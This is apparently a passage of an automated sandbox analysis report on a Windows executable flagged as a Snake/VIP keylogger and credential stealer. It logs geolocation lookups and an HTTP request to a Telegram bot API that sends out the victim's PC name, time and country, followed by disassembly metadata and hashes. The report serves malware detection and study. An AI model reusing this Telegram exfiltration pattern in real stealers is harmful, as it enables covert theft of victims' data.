2024-10-07 13:32:17 UTC	708	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64272 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rcxzLDrX6lDoGuLlBH7%2FJ8B1UAOWeO4a6gPZajyDMjmW2wPo7Wr0ltsj67T42hYBdRyNOLkXFzlo2Fw8sEsEqTxyR39Q%2BYlK%2F4rxwjRYcP7eaDvvopHn498QPRlYdcVnt6USwt%2FQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee419e793842e2-EWR alt-svc: h3=":443"; ma=86400
2024-10-07 13:32:17 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49711	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:18 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 13:32:18 UTC	672	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:18 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64273 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t3qsBBHcOEztA8KKGWPO2WTSmbF8HSBWxAH5DfjVCqEaQzDKUJtuz3yiKKBecHry68rQ2w9sm%2BG10jJhSjZ5x1mv7r5SWvJMi5TpYRh3xoGyJHsQrqwzBEZsPE8sBaLe9hiMMJWM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee41a59f150f88-EWR
2024-10-07 13:32:18 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49713	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:19 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-07 13:32:19 UTC	674	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64274 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fTxmlYsWamPRsRvbqijIWEKASIaiRkOj2KF8KnGyyy6DIYgYP%2BbD9VxipM7lkjrvIViLmQrggya5qyYJ1Bu0cTmK9nlNunVjqVcuW%2FnmBTkIGoLJ5ugOP6Rhnl99A4wfJqWNyg8z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee41ae88587c7e-EWR
2024-10-07 13:32:19 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49716	188.114.97.3	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:21 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-07 13:32:21 UTC	678	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 13:32:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 64276 Last-Modified: Sun, 06 Oct 2024 19:41:05 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GUS27hx%2FBgsN2UbUYhpa5%2FswtSZZUBU7t3OaGkRRB74MGAbote2l0CO6RtajLaGwNkfPLY4VfwjsDA%2BZrXVwUX8maqXzht0Y1sF1ZVszFxpN1Tmo1xM%2F1e8Jt1KNUzcVlbgJObcc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cee41bbf8ad8c6b-EWR
2024-10-07 13:32:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-07 13:32:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49722	149.154.167.220	443	6492	C:\Users\user\Desktop\z1PO7311145.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 13:32:22 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:841675%0D%0ADate%20and%20Time:%2007/10/2024%20/%2021:27:24%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20841675%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-07 13:32:23 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 07 Oct 2024 13:32:23 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-07 13:32:23 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	09:32:07
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\z1PO7311145.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\z1PO7311145.exe"
Imagebase:	0xb30000
File size:	276'992 bytes
MD5 hash:	B9A13749CC0659A2076AFCA8F7474509
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.3696383781.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.3696383781.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000000.1238227546.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	16.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	74.5%
Total number of Nodes:	55
Total number of Limit Nodes:	9

Executed Functions

Function 02DA7118 Relevance: 6.6, Strings: 5, Instructions: 350
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,q, xrefs: 02DA7298
,q, xrefs: 02DA728A
(oq, xrefs: 02DA7212
(oq, xrefs: 02DA753D
(oq, xrefs: 02DA7220

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$,q$,q
API String ID: 0-189141485
Opcode ID: 77a0daeb042d9f360f101ab606a84b0daf5860e87ed8b4ae060492397fa19162
Instruction ID: 71b565a8db049c10008088b4304de0ff270e8df4312d9313d1ef60f1c3e23284
Opcode Fuzzy Hash: 77a0daeb042d9f360f101ab606a84b0daf5860e87ed8b4ae060492397fa19162
Instruction Fuzzy Hash: D3E1F571A002199FEB15CFA9D8A4EADFBF2BF88304F558065E855AB365D730EC41CB50

Function 02DA29EC Relevance: 5.5, Strings: 4, Instructions: 487
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Xq, xrefs: 02DA2B57
Xq, xrefs: 02DA2BA4
Xq, xrefs: 02DA2A9E
Xq, xrefs: 02DA2AD8

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: Xq$Xq$Xq$Xq
API String ID: 0-3965792415
Opcode ID: f64ba9e5430b27c19a18570a102ab845c32936e8967e048f1184f1afa361c8ce
Instruction ID: bb32736cae41da0e67ddbc5416b0963e708f92c5e09d433e6084974a0c88cdf9
Opcode Fuzzy Hash: f64ba9e5430b27c19a18570a102ab845c32936e8967e048f1184f1afa361c8ce
Instruction Fuzzy Hash: F8F1D6319047968FDB924F7A84647DABFB2FF8B318B0945F9C8C55A601CB345C5ACB50

Function 06B35028 Relevance: 4.3, Strings: 1, Instructions: 3069COMMON

Download Yara Rule

Strings

N, xrefs: 06B38408

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-1130791706
Opcode ID: c53cbdf9b0a085ccbf5dfa2e0ecdc71a783e89a4993fd4a1783daad9af3ae6a8
Instruction ID: dc082e61890c88ace55cadfdc2d5c40d98be401a7c70c9c9c3b59330e98b5dd9
Opcode Fuzzy Hash: c53cbdf9b0a085ccbf5dfa2e0ecdc71a783e89a4993fd4a1783daad9af3ae6a8
Instruction Fuzzy Hash: 2973F571D1075A8EDB11EF68C844A99FBB1FF99300F15D6DAE44867221EB70AAC4CF81

Function 06B39C70 Relevance: 3.5, Strings: 1, Instructions: 2230COMMON

Download Yara Rule

Strings

K, xrefs: 06B3C2EB

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 0314b04afdda5cfa2cd2be5bda76ec6f3a1a03a4f0a11c1b3046fa14ab19843b
Instruction ID: aa7a5e6609f64b1bf8fd960d8fdc4f7de9b1e6430636aab69109194cd1311f34
Opcode Fuzzy Hash: 0314b04afdda5cfa2cd2be5bda76ec6f3a1a03a4f0a11c1b3046fa14ab19843b
Instruction Fuzzy Hash: ED33F271D146298EDB51EF68C884A9DF7B1FF99300F10D2DAD4486B261EB70AAC4CF81

Function 02DAA088 Relevance: 3.4, Strings: 2, Instructions: 894COMMON

Download Yara Rule

Strings

4'q, xrefs: 02DAAB13
(oq, xrefs: 02DAA518

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: (oq$4'q
API String ID: 0-1336004174
Opcode ID: f91e198ec26995cbd94568f02512a1bb1bdaffe5e50e70e0d5bb3e771f16f33b
Instruction ID: 2a0c80cab20052e3a8b64634d222f88d53bf55ca1e2aa1a197e268628002643a
Opcode Fuzzy Hash: f91e198ec26995cbd94568f02512a1bb1bdaffe5e50e70e0d5bb3e771f16f33b
Instruction Fuzzy Hash: 9D825B71A00209DFCB15CFA8C5A4EAEBBF2BF88314F158669E8069B365D731ED41CB51

Function 02DA69B0 Relevance: 3.1, Strings: 2, Instructions: 563
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hq, xrefs: 02DA6DA6
(oq, xrefs: 02DA6EDA

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: (oq$Hq
API String ID: 0-2917151738
Opcode ID: 0c2a87d387bed2f61f992e498b2b60c0a35b3f64d2b74954c872d55eba3c75a4
Instruction ID: 6470292c1dccf5976986a8b4c22b185d627b2f52a800b4032e176e91d163fc8a
Opcode Fuzzy Hash: 0c2a87d387bed2f61f992e498b2b60c0a35b3f64d2b74954c872d55eba3c75a4
Instruction Fuzzy Hash: 52225D70A002199FDB14DF69C864BAEBBBABF88340F148569E906DB395DF34DD41CB90

Function 02DAC148 Relevance: 2.7, Strings: 2, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 02DAC400
PHq, xrefs: 02DAC3EF

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: fc8e5c17743d2d5cddefe1715b1ffe0ba26c78386b4355a55b7769df94eb4059
Instruction ID: 387cf75ee6ced5e36ad84f599464e12c567b37f45eee1d0d5b0a6a9e5ed33d41
Opcode Fuzzy Hash: fc8e5c17743d2d5cddefe1715b1ffe0ba26c78386b4355a55b7769df94eb4059
Instruction Fuzzy Hash: 88A1D575E10218DFEB14DFAAD894A9DBBF2BF89310F14806AE449AB365DB309C41CF54

Function 02DA5362 Relevance: 2.7, Strings: 2, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 02DA55D9
PHq, xrefs: 02DA55C8

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: c564bd322dffc8189bd2368f1145a293de697861e9e73979518064eb3ad66276
Instruction ID: ccfe758500d84e4627bd8b9048f2448610ccc02c70862337257254dad2d23365
Opcode Fuzzy Hash: c564bd322dffc8189bd2368f1145a293de697861e9e73979518064eb3ad66276
Instruction Fuzzy Hash: DA91B074E00218CFEB14DFAAD994A9DBBF2BF88300F549069E809AB365DB709D45CF10

Function 02DAC468 Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 02DAC6BF
PHq, xrefs: 02DAC6D0

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 455ef1c9ffcfc3dcf53a1869d1adea97ce3ddcbbb4bed491e2df807ff443d009
Instruction ID: db5ff1593850128b6b47de26dbef10b0911ff5f8e9a99f1c33d2cb72c0ff61e4
Opcode Fuzzy Hash: 455ef1c9ffcfc3dcf53a1869d1adea97ce3ddcbbb4bed491e2df807ff443d009
Instruction Fuzzy Hash: B781B174E00258CFEB14DFAAD994B9DBBF2BF88310F14916AE419AB365DB309941CF50

Function 02DACA08 Relevance: 2.7, Strings: 2, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 02DACC70
PHq, xrefs: 02DACC5F

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 77452e8bade71c7c8077d85e86c0689d6e2114f456a1738d3b2b5961af03363f
Instruction ID: 52d53aafaee6a31c7bc8030d075a97c2b3dabdc7769c380caed5e85b1032263e
Opcode Fuzzy Hash: 77452e8bade71c7c8077d85e86c0689d6e2114f456a1738d3b2b5961af03363f
Instruction Fuzzy Hash: AE81A174E11218CFEB54DFAAD894A9DBBF2BF88310F14C06AD819AB365DB319941CF50

Function 02DAD278 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 02DAD4E0
PHq, xrefs: 02DAD4CF

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: e10179ecfe3ae3a8ebe3c854009cdb77ea62e1e144c6ceedbc1551062d977ff3
Instruction ID: a7a9f6750c90afe1ac8958c87fa1ad2b6105aac37dc4f1fc1eeb9a33f2115172
Opcode Fuzzy Hash: e10179ecfe3ae3a8ebe3c854009cdb77ea62e1e144c6ceedbc1551062d977ff3
Instruction Fuzzy Hash: 8581A274E01218CFEB58DFAAD894A9DBBF2BF88300F14C069E449AB365DB709945CF10

Function 02DACCD8 Relevance: 2.7, Strings: 2, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 02DACF2F
PHq, xrefs: 02DACF40

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 1aa4d3b5266bd2d09f9b9a78b6a64cbcb22d85b95843776d87cbb0422336040f
Instruction ID: 531c9d9ed6ceda9e87d46af0f294cbad72eb32bf52a1514badeb1999a71b518b
Opcode Fuzzy Hash: 1aa4d3b5266bd2d09f9b9a78b6a64cbcb22d85b95843776d87cbb0422336040f
Instruction Fuzzy Hash: 9C81A174E10218DFEB54DFAAD894A9DBBF2BF88310F14806AD419AB365DB309D41CF50

Function 02DAC738 Relevance: 2.7, Strings: 2, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 02DAC98F
PHq, xrefs: 02DAC9A0

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: ceadd4d534f20dbceb77e83965e6574589af0bbcbe58db36d6a1dc688b4a800a
Instruction ID: d79825a15f86a71c32cd5e5ec361c494f04a383d91f3c5a7cd0206d843ba9658
Opcode Fuzzy Hash: ceadd4d534f20dbceb77e83965e6574589af0bbcbe58db36d6a1dc688b4a800a
Instruction Fuzzy Hash: 51819074E10218DFEB14DFAAD994B9DBBF2BF88310F14806AD859AB365DB309941CF50

Function 02DACFAA Relevance: 2.7, Strings: 2, Instructions: 184COMMON

Download Yara Rule

Strings

PHq, xrefs: 02DAD1FF
PHq, xrefs: 02DAD210

Memory Dump Source

Source File: 00000000.00000002.3696306755.0000000002DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2da0000_z1PO7311145.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 0a20e54c11fb1febb318449c59b90f0a2699ad7d2451d997694ad10a3c33ce1a
Instruction ID: cecd1730e583147e1c81f5fbebb7af2724a829c8837af336d4c80bd0cc26830a
Opcode Fuzzy Hash: 0a20e54c11fb1febb318449c59b90f0a2699ad7d2451d997694ad10a3c33ce1a
Instruction Fuzzy Hash: DE819074E01218CFEB54DFAAD994A9DBBF2BF88300F14D069E819AB365DB309941CF10

Function 06B39548 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25beaccda00c5f9844c8ca15ea4efacadc36397116eef55dd908b63cf503278f
Instruction ID: 463aee76304ef29873c3c3f9c4a8547722bf24bf4f0f582e67f54d302c84cd57
Opcode Fuzzy Hash: 25beaccda00c5f9844c8ca15ea4efacadc36397116eef55dd908b63cf503278f
Instruction Fuzzy Hash: E1F1D8B4E01228CFDB54DFA9C884B9DBBB2BF88304F5481A9D448AB355EB719D85CF50

Function 06B39BFA Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

K, xrefs: 06B3C2EB

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID: K
API String ID: 0-856455061
Opcode ID: 742710e087d68c081fa34375977e2d11c4db951187802fa36b2995ed23b98a3c
Instruction ID: 62e66c6ee4c3c9f926cc7ba469e28d7ac070c76599fe9f07bc9c2a017400082b
Opcode Fuzzy Hash: 742710e087d68c081fa34375977e2d11c4db951187802fa36b2995ed23b98a3c
Instruction Fuzzy Hash: BDC14971D056298FDB54DF69C8847DDBBB1FF89300F14D2AAD408AB261EB74AA85CF40

Function 06B30B30 Relevance: .7, Instructions: 709COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3705579671.0000000006B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b30000_z1PO7311145.jbxd

Similarity

API ID:
String ID:
API String ID:
